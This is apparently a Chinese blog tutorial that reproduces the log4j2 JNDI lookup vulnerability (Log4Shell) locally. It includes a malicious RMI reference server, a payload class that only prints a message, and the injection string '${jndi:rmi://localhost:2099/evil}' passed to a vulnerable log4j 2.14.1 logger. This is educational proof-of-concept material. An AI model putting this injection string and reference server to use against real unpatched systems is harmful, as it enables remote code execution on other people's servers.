log4j2 漏洞模拟
一夜之间到处都是 log4j2 的漏洞,公司的群里也收到了紧急通知,要求立刻修复!修复方式相信大家都清楚,升级 log4j2 版本或者通过一些参数来禁用 lookup 功能等,就不过多叙述了,本文主要带大家看一下这个漏洞到底是怎么回事,通过代码来简单模拟下这个漏洞。
lookup 功能
log4j 提供了 lookup 功能,通过lookup 你可以在你的log4j 配置文件中添加你的变量值。最简单的你配置日志使用的日期格式 $${date:yyyy-MM} 就是通过date lookup 功能实现的。此外还有很多的lookup,比如 docker-lookup、env-lookup 等。
lookup 功能使得日志的配置更加灵活,但是提供的 Jndi lookup 却暴露了重大的漏洞。
通过 jndi 你可以远程访问很多服务或接口。比如 ldap 、 RMI、CORBA 等,jndi-lookup 结合 jndi 和 lookup 这就带来了远程不可控的风险。
下面就通过 RMI 来模拟本次漏洞。
准备工作
1. build.gradle 文件,添加配置:
implementation group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.14.1'
implementation group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.14.1'
2. 通过RMI 暴露一个远程恶意后台服务,并启动
public class RemoteServer {
public static void main(String[] args) {
try {
System.out.println(System.getSecurityManager() == null);
if (System.getSecurityManager() == null) {
System.setSecurityManager(new SecurityManager());
}
LocateRegistry.createRegistry(2099);
Registry registry = LocateRegistry.getRegistry(2099);
Reference ref = new Reference("top.lovelily.remote.EvilObject", "top.lovelily.remote.EvilObject", null);
ReferenceWrapper remote = new ReferenceWrapper(ref);
registry.rebind("evil", remote);
System.out.println("启动 RMI 服务端");
} catch (Exception e) {
e.printStackTrace();
}
}
}
远程恶意代码,很简单就是执行一个静态代码块:
public class EvilObject implements ObjectFactory {
static {
System.out.println("执行恶意代码!");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
3. 下面模拟公司服务器打印输入参数
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LocalServer {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String input = "${jndi:rmi://localhost:2099/evil}";
logger.info("hello1 {}", input);
}
}
由于用户输入是任意的,攻击者写好攻击代码后,恶意输入代码中内容。就会在本地服务器执行远程恶意代码:
如果觉得还不错的话,关注、分享、在看(关注不失联~), 原创不易,且看且珍惜~